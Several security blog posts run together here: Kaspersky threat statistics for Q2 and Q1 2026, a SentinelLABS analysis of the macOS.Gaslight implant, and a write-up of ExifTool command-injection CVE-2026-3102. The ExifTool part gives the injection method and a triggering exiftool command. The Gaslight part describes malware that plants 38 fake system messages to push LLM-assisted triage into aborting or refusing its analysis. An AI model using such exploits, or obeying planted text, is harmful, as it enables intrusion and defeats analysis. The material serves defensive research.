IT threat evolution in Q2 2026. Non-mobile statistics
IT threat evolution in Q2 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q2 2026:

• Kaspersky products blocked nearly 400 million attacks that originated with various online resources.
• Web Anti-Virus responded to 52 million unique links.
• File Anti-Virus blocked more than 16 million malicious and potentially unwanted objects.
• There were 2538 new ransomware variants discovered.
• More than 71,000 users experienced ransomware attacks.
• 15% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were attacked by Qilin.
• More than 213,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Threat actor disruption

Microsoft has dismantled an illicit malware-signing service used by ransomware operators. Microsoft’s Digital Crimes Unit has shut down a malware-signing-as-a-service (MSaaS) operation run by the threat group Fox Tempest. The illicit service abused the Microsoft Artifact Signing platform to generate digital signature certificates for malicious software. Malware signed by these certificates was observed in campaigns conducted by such ransomware groups as Rhysida, Akira, INC, Qilin, and BlackByte. The service was also leveraged by operators of the Oyster loader as well as the Lumma and Vidar infostealers. To disrupt the operation, Microsoft seized the domain used by the MSaaS platform, revoked all associated certificates, and disabled the related accounts. Additionally, the company filed a lawsuit against Fox Tempest.

Vulnerabilities and attacks

CISA has confirmed that a Windows vulnerability known as BlueHammer is actively being exploited in ransomware attacks. On April 22, the agency updated its Known Exploited Vulnerabilities (KEV) catalog to note the ongoing ransomware exploitation of CVE-2026-33825. The local privilege escalation flaw in Microsoft Defender was originally disclosed earlier in April. Although Microsoft released a fix on April 14, unpatched systems remain vulnerable. CISA did not disclose further details or attribute the attacks to specific threat groups.

Check Point has linked zero-day exploitation of CVE-2026-50751 to the Qilin ransomware group. The critical vulnerability affects Check Point Remote Access VPN and Mobile Access. Attackers began exploiting the flaw as a zero-day on May 7, with activity spiking sharply in early June. While several dozen organizations have been targeted, at least one incident has been definitively tied to Qilin. Check Point also disclosed a related certificate validation flaw (CVE-2026-50752) that affects site-to-site VPN connections relying on the legacy IKEv1 key exchange protocol.

Researchers assess with high confidence that the PayoutsKing group is leveraging the legitimate QEMU emulator to deploy hidden, Alpine Linux-based virtual machines on compromised hosts. Because security solutions often lack visibility inside virtualized environments, the threat actors use this technique to evade detection. Inside the VM image, the operators deploy various tools — such as credential theft software — and configure the virtual machine as a backdoor managed via a reverse SSH tunnel to their command-and-control infrastructure. While the technique is not new, and we’ve detailed it before, it remains relatively rare in ransomware attacks.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. Qilin reclaimed the top spot (accounting for 14.57% of total listings) after placing second last quarter. It is followed by the Akira ransomware (7.80%) and the DragonForce RaaS group (6.88%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new ransomware variants

In Q2, Kaspersky solutions detected four new ransomware families and 2538 new modifications. This signals a continued stabilization following spikes seen in Q1 and Q4 of last year.

Number of new ransomware modifications, Q2 2025 — Q2 2026 (download)

Number of users attacked by ransomware Trojans

Our solutions protected a total of 71,860 unique users from ransomware during Q2. Ransomware activity peaked in April, with 31,206 targeted users recorded during that month.

Number of unique users attacked by ransomware Trojans, Q2 2026 (download)

TOP 10 countries and territories attacked by ransomware Trojans

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new miner variants

In Q2 2026, Kaspersky solutions detected 6067 new miner variants, almost twice the number for the previous reporting period.

Number of new miner modifications, Q2 2026 (download)

Number of users attacked by miners

In Q2, we detected attacks using miner programs on the computers of 213,003 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q2 2026 (download)

TOP 10 countries and territories attacked by miners

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

Quarterly highlights

In April, Aikido researchers reported a new attack by the GlassWorm stealer, which was distributed via malicious IDE extensions on the Open VSX Registry. The payload operated by installing a secondary malicious extension across all installed IDE environments on the host machine. Ultimately, this second-stage implant exfiltrated crypto wallet data, environment variables, and other secrets. It also installed a RAT on the infected device.

In May, Socket researchers uncovered a supply chain compromise involving the popular npm package art-template. As a result of the breach, the weaponized package injected the Coruna exploit kit into web applications it was used to build. Coruna targets iOS devices.

In June, Palo Alto Networks’ Unit 42 discovered FlutterShell, a new backdoor family that targets macOS devices. Developed with the Flutter framework, the malware leverages the WebView engine to load web pages that contain malicious JavaScript. On the client side, the backdoor registers bridge functions invoked by the loaded JavaScript that allow threat actors to execute arbitrary payloads on the victim’s device. Notably, the malicious applications successfully passed Apple notarization. Although the specific samples analyzed functioned primarily as adware, the underlying architecture permits the delivery of far more sophisticated malicious payloads.

TOP 20 threats to macOS

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

Detections of PasivRobber spyware continued their downward trend. Meanwhile, adware and traffic-routing utilities (categorized as NetTool) rose to the top of the rankings. Additionally, Q2 saw a noticeable spike in detections for the DirtyCow exploit frequently leveraged for iPhone jailbreaking.

TOP 10 countries and territories by share of attacked users

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q2 2026, the breakdown of attacking devices and sessions that targeted Kaspersky honeypots by protocol was as follows:

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The share of SSH attacks saw a slight uptick compared to the previous quarter.

Distribution of cybercriminal sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

As is typically the case, Mirai botnet variants continue to dominate the IoT threat landscape. Activity of another prominent botnet, Prometei, also saw an increase.

Attacks on IoT honeypots

the Netherlands, Germany, and The United States accounted for the highest proportions of SSH-based attacks during this period. While the top three countries remained the same as last quarter, their relative rankings shifted.

The percentage of Telnet-based attacks originating from Pakistan continued to climb, knocking China down to second place.

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malware, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q2 2026, Kaspersky solutions blocked 399,312,961 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 52,850,592 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.54% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q2 2026, our File Anti-Virus detected 16,986,351 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. These statistics reflect the level of personal computer infection in different countries.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 10.93% of users’ computers during Q2.

Russia scored 10.78% in these rankings.

Executive Summary

• SentinelLABS has analyzed a Rust macOS implant that embeds a 3.5 KB prompt-injection payload of 38 fabricated “system” messages, built to steer an LLM-assisted triage pipeline into aborting or refusing its analysis.
• Command-and-control runs over a Telegram Bot API polling loop, with AES-GCM payloads over certificate-pinned TLS.
• The implant self-redacts its Telegram bot token in its own runtime output, denying it to anyone who captures logs or crash artifacts.
• We assess with high confidence that the implant, which we track as macOS.Gaslight, belongs to a cluster of DPRK-aligned macOS activity.

Introduction

In early June, an Apple XProtect update surfaced a Mach-O sample that had been uploaded to VirusTotal on May 22. The XProtect rule targets the file purely on its hash rather than on any internal strings or bytecode, yet the sample remains undetected by static engines on VirusTotal at the time of writing. The binary is ad hoc signed and carries the identifier endpoint-macos-aarch64-5555494492fc075f441637fb9d894913dde3a2ea.

The sample is a macOS implant and infostealer written in Rust. Its most notable feature is an embedded cascade of fabricated system-failure messages, designed to make an LLM-assisted triage agent doubt its own session. It attacks the agent’s perception, rather than the sandbox it runs in. Accordingly, we dub this family macOS.Gaslight.

We assess with high confidence that this implant sits within a cluster of DPRK-aligned macOS activity. Apple’s XProtect detects the sample under the rule MACOS_BONZAI_COBUCH, and SentinelLABS associates the BONZAI signature family with North Korean threat activity. A sibling BONZAI sample is additionally caught by Apple’s AIRPIPE rule, a family SentinelLABS likewise ties to North Korean activity.

Command & Control | Telegram Bot API

The implant’s command-and-control channel is a Telegram Bot API getUpdates polling loop. The polling branch executes only when no webhook is registered, and the dispatch handler keys on three Telegram error codes: BotBlocked, InvalidToken, and Conflict.

Telegram issues a Conflict response when two instances of the same bot token poll simultaneously, so the implant treats that response as an implicit single-instance lock. A second copy detects the conflict and terminates.

Once the bot token validates and the polling loop is active, the operator can task the implant, including through the interactive shell described below, and collected data is returned over the same channel using Telegram’s multipart attach:// file-upload mechanism.

The bot token, the chat ID (tg_room_id), and the rest of the operator configuration are supplied at runtime and are absent from this sample. Accordingly, the analysis below is based on static examination of the binary and its embedded payloads.

Transport Hardening | AES-GCM Over Pinned TLS

All C2 payloads are encrypted with AES-GCM, implemented using the pure-Rust aes-gcm 0.10.3 crate, with a fresh nonce generated per message via CCRandomGenerateBytes. The AES key is supplied at runtime through the aes_key field in the operator config rather than being embedded in the sample.

On top of the payload encryption, the implant configures a custom certificate trust anchor and calls SecTrustSetAnchorCertificatesOnly, restricting TLS trust evaluation to that anchor alone. This certificate pinning rejects connections intercepted by a standard proxy CA, frustrating network-level inspection of the operator’s traffic.

The implant also honors the host’s proxy settings, reading the active system proxy configuration via SCDynamicStoreCopyProxies and routing the traffic from its Rust reqwest/hyper networking stack accordingly. As a result, the C2 can still reach the operator on networks that force outbound connections through a proxy.

Taken together, those choices make the channel harder to inspect in transit while still allowing it to operate in tightly managed enterprise networks.

Operator Access | An Interactive Shell

After validation and activation, the operator gains an interactive shell. Two co-located command menus define six verbs.

There is some evidence of a seventh command, focus, but we were unable to recover further details from our analysis.

The implant creates an IOPMAssertionCreateWithName power-management assertion to prevent system sleep. Blocking sleep sustains long-running C2 polling and collection across periods of user inactivity, making the implant resilient to a host that would otherwise idle.

All told, the functionality provides the operator with a persistent, interactive foothold on the host.

The 15-Field Cross-Platform Operator Config

The implant reads its operator configuration using serde, a widely used Rust serialization and deserialization framework.

The operator provides the implant with a config blob at runtime and serde fills in a predefined set of fields. By default, serde matches incoming config keys to fields by their literal names, so the entire configuration schema of 15 field names is baked into the binary as plaintext.

tg_room_id           	
github_token         	
github_repo          	
github_polling_interval 
main_upload_url      	
main_base_url        	
aes_key              	
payload_path_linux   	
payload_path_macos   	
persist_name_linux   	
persist_name_macos   	
persist_type_linux   	
persist_type_macos   	
init_python_enable   	
persist_enable       	

The Linux- and GitHub-related fields are not exercised in the sample, suggesting the schema is an operator-facing interface to a broader toolset.

Collection | A Gated Python Stealer With Its Own Runtime Supply Chain

The implant carries a 6.6 KB base64-encoded Python script which serves as a data collection module. Once decoded, it harvests:

• Chrome, Brave, Firefox, and Safari browser data
• Terminal command histories
• Installed application listings
• A running-process snapshot via ps aux
• System hardware and software profile via system_profiler
• A raw copy of login.keychain-db

Collected artifacts are archived to temp/collected_data.zip and uploaded to the operator via Telegram.

SentinelLABS has previously documented Atomic macOS Stealer (AMOS) harvesting the same login keychain copy and browser data and an early Rust macOS stealer targeting login.keychain-db in 2023.

A separate 2 KB base64-encoded bash installer fetches and stages a self-contained cpython-3.10.18 interpreter from the astral-sh/python-build-standalone project. The installer, a prerequisite for deploying the Python stealer, carries the literal constants PY_VERSION=3.10.18 and BUILD_DATE=20250708 and targets both arm64 and x86_64 macOS. The widespread use of emojis and strict adherence to comment headers are consistent with LLM-generated output.

Microsoft has previously described macOS stealers bundling Python via PyInstaller and Nuitka. However, fetching a standalone CPython build from astral-sh/python-build-standalone at runtime has not been previously documented as far as we are aware. The separation keeps the main implant in Rust while letting the operator stage a fuller Python-based collection environment only when needed.

We identified init_python_enable in the serde schema as the configuration field associated with both the stealer and installer. Consistent with our earlier observations, we found no exact runtime branch logic, so we describe both only as configurable capabilities present in the binary.

Persistence | An Apple System-Service Masquerade

Persistence is achieved through a LaunchAgent. This implant’s plist carries the Label value com.apple.system.services.activity. Masquerading within Apple’s com.apple.* namespace is a tactic widely used in many macOS malware families, including those previously tied to DPRK-linked activities.

In order to write a valid absolute path to itself into the plist’s ProgramArguments array, the implant resolves its own executable location at runtime via __NSGetExecutablePath.

The implant’s persistence behavior is controlled through the persist_enable serde config field, and again we did not recover a separate static branch that would confirm exactly how installation is triggered in this sample.

OPSEC | Bot-Token Self-Redaction

Telegram bot tokens are a known weak point in bot-based C2. If the token can be recovered, defenders can use it as a detection artifact and even query the Telegram Bot API directly, exposing the bot’s chat history, operator commands, and registered webhooks. macOS.Gaslight addresses this with a self-redaction routine built into its Telegram URL constructor.

When the URL path segment is the 4-byte literal “file” (0x656c6966 little-endian), the constructor substitutes the token that follows with the hardcoded placeholder file/token:redacted, preventing the live bot credential from appearing in any diagnostic output or error string the implant produces at runtime.

The logic prevents anyone who captures the process’s logs, errors, or crash artifacts from determining the bot token, which otherwise is only available in the config itself and cannot be recovered from the sample.

NVISO Labs has previously noted that most documented Telegram bot abuse embeds recoverable tokens; macOS.Gaslight’s runtime self-redaction appears novel relative to that reporting.

A Prompt Injection That Targets the Analyst

The implant does little conventional anti-analysis. It resolves its API calls at runtime through dlsym so as to avoid embedding them in the static symbol table, and it locates its own executable dynamically rather than from a hardcoded path.

What makes the sample notable is its attempt to mislead the analyst reading the output. It carries a 3.5 KB Markdown-fenced blob of hostile data containing 38 fabricated “system” messages delimited with {{DATA}} tokens.

The {{DATA}} tokens and the surrounding Markdown fence mimic an LLM triage harness’s own prompt scaffold, blurring the boundary between untrusted sample data and trusted instructions.

The scaffold contains fake system messages about token expiry, out-of-memory kills, disk exhaustion, and repeated operation failures. It also plants bogus warnings about injection vulnerabilities and static-analysis flags. The aim is to push an LLM agent into aborting, truncating, or refusing analysis.

Check Point first documented this kind of analyst-targeting prompt injection publicly in 2025, describing a Windows proof-of-concept that used a single direct-instruction prompt injection to evade AI-based detection.

Socket has since documented a Hades supply-chain payload whose stealer opens with a fake prompt-injection header to pollute AI-assisted analysis, while the leaked Shai-Hulud code carried an “Anthropic Magic String” intended to stop Claude Code from analyzing it. Each relied on a single injected block or header rather than the 38-message harness-spoofing cascade seen here.

Previous SentinelLABS research, by contrast, examined malware that uses LLMs to generate or support capability at runtime rather than interfere with analyst tooling.

Conclusion

macOS.Gaslight packs considerable capability into a single, persistent Rust binary, bundling a credential and session-data stealer, an interactive shell, and a self-staged Python collection chain behind a hardened Telegram C2. Aside from the runtime-fetched standalone CPython interpreter, these are all established macOS tradecraft.

However, macOS.Gaslight is noteworthy for its analyst-targeting prompt injection, an attempt to weaponize the LLM-assisted triage pipelines that increasingly sit in the reverse-engineering loop.

Anyone building such tooling should treat the contents of the samples they triage as adversarial input, never as instructions, and be prepared to keep hostile content out of the model entirely. As LLM-assisted analysis becomes routine, defenders should expect more samples built to exploit it.

Indicators of Compromise

Unit 42 has discovered a new macOS Tahoe 26 forensic artifact that tracks user menu selections across the operating system. Learn more here.

The post Tracing Digital Intent: New MacOS Tahoe 26 Artifact Discovered appeared first on Unit 42.

Operation FlutterBridge is a malvertising campaign targeting macOS users. It distributed the new backdoor FlutterShell, built using the Flutter framework.

The post Operation FlutterBridge: macOS Malvertising Campaign Spreads New FlutterShell Backdoor appeared first on Unit 42.

Introduction

ExifTool is a widely adopted utility for reading and writing metadata in image, PDF, audio, and video files. It is available both as a standalone command-line application and as a library that can be embedded in other software. In this article, we break down CVE-2026-3102, an ExifTool vulnerability discovered by Kaspersky’s Global Research and Analysis Team (GReAT) in February 2026 and patched by the developers within the same month. Affecting macOS systems with ExifTool version 13.49 and earlier, this flaw could let an attacker run arbitrary commands by hiding instructions inside an image file’s metadata.

This investigation originated from revisiting an n-day vulnerability I first examined years ago: CVE-2021-22204. That flaw exploited weak regex-based sanitization before feeding user input into an eval sink. By auditing adjacent input validation routines across ExifTool codebase for similar oversights, I discovered CVE-2026-3102. Successful exploitation of CVE-2026-3102 enables an attacker to execute arbitrary shell commands with the privileges of the user invoking ExifTool, potentially leading to full system compromise.

Technical details

Disclaimer

Exploiting CVE-2026-3102 requires the -n (also known as -printConv) flag and outputs machine-readable data without additional processing.

Tracing the vulnerable sink

Taint analysis (aka tainted data analysis) allows for the detection of “dirty” data that reaches dangerous locations without validation. In this context, a “sink” is a point or function in a program where data or a parameter marked as “tainted” or originating from an untrusted source (e.g., user input) can affect the program’s behavior. In ExifTool, these functions are eval and system, both of which are capable of executing system commands. While CVE-2021-22204 exploited an eval function as a sink, this vulnerability (CVE-2026-3102) targets the system function. Knowing the vulnerable sink, we needed to trace how user-controlled data reaches it. Below, we break down the details.

Finding an unsanitized date value

The screenshot above shows where the system() sink resides within the SetMacOSTags function. Tracing backward from system(), we identified the $cmd variable as the source of the executed command. This variable is assembled from three inputs: $file (properly sanitized), $setTags (processed iteratively), and $val (user-controlled and, crucially, left unsanitized in the vulnerable branch).

In ExifTool, a tag is a named metadata field. When parsing an image, the utility extracts date and time values from standard EXIF records or macOS filesystem attributes. To handle file creation dates on macOS, ExifTool relies on the Spotlight system attribute MDItemFSCreationDate. Within the program code, this attribute maps to the internal alias $FileCreateDate. These two identifiers govern how the file creation date is stored and applied.

This creates a critical link to the vulnerability: when parsing an image, ExifTool iterates through the discovered tags. The current tag’s name is assigned to the $tag variable, while its text content (e.g., a date string) is assigned to $val. The vulnerable code path is triggered only when $tag matches MDItemFSCreationDate or $FileCreateDate. At this point, the tag’s content flows into $val and is passed to the SetMacOSTags function. As shown in the screenshot below, the filename parameter is properly escaped, but the date value ($val) is not. Because the date is extracted directly from file metadata, an attacker can inject quotes into this field. This breaks the command structure and allows the payload to execute via the system() sink.

The following screenshots show some of the tags that can be modified. With the vulnerable parameter identified, the next challenge was delivery: how to place our payload into FileCreateDate without triggering early validation? We found the answer in the official documentation.

Planning the payload delivery

Let’s refer to the documentation to understand how ExifTool handles tag operations and identify a legitimate feature that can be repurposed for exploitation. Specifically, we need to find a way to deliver our payload into the vulnerable FileCreateDate parameter. When looking for macOS-related tags as well as FileCreateDate, we can find the following information:

• To write or delete metadata, tag values are assigned using –TAG=[VALUE], and/or the -geotag, -csv= or -json=
• To copy or move metadata, the -tagsFromFile feature is used.

(You can find the useful info on tag operations above and how it relates under the hood in ExifTool in the dedicated section of the documentation and on the ExifTool description page.)

To trigger the vulnerability, we need to copy a string (date format: MM/DD/YYYY) using the -tagsFromFile feature, as this operation invokes the SetMacOSTags function where the unsanitized $val parameter reaches the system() sink.

Why copy instead of writing directly? Because the vulnerable code path (SetMacOSTags) is only triggered when metadata is copied into FileCreateDate — not when it is written directly. By using -tagsFromFile, we can prepare a “source” tag (e.g., DateTimeOriginal) that accepts arbitrary values and copy that value into FileCreateDate, thereby invoking the vulnerable function with our controlled input.

Furthermore, we want to introduce single quotes (since they are not being escaped in $val). For starters, we can look for date-time tag and copy via -tagsFromFile by searching the EXIF tag table. Direct assignment to FileCreateDate is heavily validated, so we looked for a source tag that accepts raw values and can be copied into the target field. The following snippet shows the beginning of said table.

When doing the analysis, I made use of DateTimeOriginal though I believe you can also use CreateDate which is 0x9004 (see the following screenshot). Initial attempts to inject malformed dates failed: ExifTool’s built-in filter rejected the input. To bypass this, we examined how the tool handles raw metadata.

Bypassing the filter

To confirm that the PrintConvInv filter rejects invalid dates when written directly, I ran the following command, where evil_benign.jpg is a normal JPG with an invalid date time format. We are greeted with the error message: Invalid date/time. This requires the time as well. The next screenshot confirms that direct exploitation fails: ExifTool’s date validation detects the malformed input and rejects the change, activating the internal PrintConvInv filter.

That said, it is possible to ignore the formatting and use the -n flag which accepts raw values instead of human-readable value.  The -n flag skips the PrintConvInv conversion step, which is exactly where input sanitization occurs. This confirmed we could park unsanitized data in a source tag. The final step was to trigger the vulnerable code path by copying that data into FileCreateDate. This means we should now be able to modify the DateTimeOriginal tag with the invalid date time format with an -n flag. Examining the EXIF metadata tag, we can confirm that we can store a raw value without a proper human readable format that ExifTool accepts:

Triggering the exploit

To inject commands, we have to revisit the single quote injection into this datetime related tag.

The following screenshot shows that we have successfully set the datetime metadata with the single quote. With the payload safely stored in a source tag, the next step was to copy it into FileCreateDate, triggering the vulnerable system() call.

The next step now is to copy the datetime tag to a file which invokes SetMacOSTags. According to the documentation, this is how we can copy the data from the SRC tag to the FileCreateDate tag as seen in the SetMacOSTags with the -tagsFromFile feature.

exiftool [_OPTIONS_] -tagsFromFile _SRCFILE_ [-[_DSTTAG_<]_SRCTAG_...] _FILE_...

Therefore, we can craft our final command:

cp evil_benign.jpg pwn.jpg;
../../exiftool -n -tagsFromFile evil_benign.jpg "-FileCreateDate<DateTimeOriginal" pwn.jpg

Here, we confirm that the payload has been executed! Note that when copying tags in MacOS (Darwin), the /usr/bin/setfile command is used. To view the full $cmd value before the injection, I have added the debugging statement to displaying the actual command that is executed within the system function.

Upon injection, we can see that our command gets executed via command substitution. The single quotes that we added helped to make the entire command syntactically valid. The following shows a more detailed labelling and their roles in making this command line injection successful:

Such an image can appear completely benign and easily find its way into a newsroom or any organization that processes photos on macOS using ExifTool. Once processed, an attacker could silently deploy a Trojan for covert data exfiltration, drop additional malware, or use the compromised machine as a foothold to expand the attack within the victim’s network.

Patch analysis

After verifying successful exploitation, we examined how the maintainer addressed the flaw in version 13.50. In the vulnerable version of ExifTool, commands were sanitized before being concatenated together. This means that it is possible to concatenate single quotes which led to the exploitation. However, by abstracting the system call into a dedicated wrapper and requiring a list of arguments instead of concatenated string, the fix removes the need for any manual escaping altogether.

1. Replacing string form to argument list form:

#### BEFORE
$cmd = "/usr/bin/setfile -d '${val}' '${f}'";
system $cmd;
  
#### AFTER
system('/usr/bin/setfile', '-d', $val, $file);

2. Create new System() wrapper. In version 13.49, the output is piped to /dev/null . To maintain that logic, the wrapper would temporarily redirect STDOUT/STDERR to /dev/null and restore them after the call.

# Call system command, redirecting all I/O to /dev/null
# Inputs: system arguments
# Returns: system return code
sub System
{
    open(my $oldout, ">&STDOUT");
    open(my $olderr, ">&STDERR");
    open(STDOUT, '>', '/dev/null');
    open(STDERR, '>', '/dev/null');
    my $result = system(@_);
    open(STDOUT, ">&", $oldout);
    open(STDERR, ">&", $olderr);
    return $result;
}

How to protect against ExifTool vulnerability

It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.

ExifTool, like any software, may contain additional vulnerabilities of this class. To harden defenses, I recommend using Kaspersky Open Source Software Threats Data Feed for continuous monitoring of open-source components in your software supply chain, and Kaspersky for macOS as comprehensive endpoint protection. Additionally, isolate processing of untrusted files on dedicated machines or virtual environments with strictly limited network and storage access. If you work with freelancers, contractors, or allow BYOD, enforce a policy that only devices with an active macOS security solution can access your corporate network.

Conclusions

CVE-2026-3102 highlights the risks of inconsistent input sanitization in tools that bridge high-level metadata parsing with platform-specific utilities. While exploitation requires explicit flag usage (-n) and is restricted to macOS, the vulnerability underscores the danger of manual escaping routines in evolving codebases. The transition to list-form system execution provides a robust, architecture-level fix that eliminates shell interpretation risks entirely. This case reinforces a core security principle: replacing fragile string concatenation with secure, list-based API calls remains the most reliable mitigation against command injection.

IT threat evolution in Q1 2026. Non-mobile statistics
IT threat evolution in Q1 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q1 2026:

• Kaspersky products blocked more than 343 million attacks that originated with various online resources.
• Web Anti-Virus responded to 50 million unique links.
• File Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.
• 2938 new ransomware variants were detected.
• More than 77,000 users experienced ransomware attacks.
• 14% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were victims of Clop.
• More than 260,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Law enforcement success

In January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.

A man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.

In March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.

In March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.

In a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.

Vulnerabilities and attacks

The Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacing Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new variants

In Q1 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3 2025 levels following a surge in Q4 2025.

Number of new ransomware modifications, Q1 2025 — Q1 2026 (download)

Number of users attacked by ransomware Trojans

Throughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.

Number of unique users attacked by ransomware Trojans, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by ransomware Trojans

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new variants

In Q1 2026, Kaspersky solutions detected 3485 new modifications of miners.

Number of new miner modifications, Q1 2026 (download)

Number of users attacked by miners

In Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by miners

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

In Q1 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.

In March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.

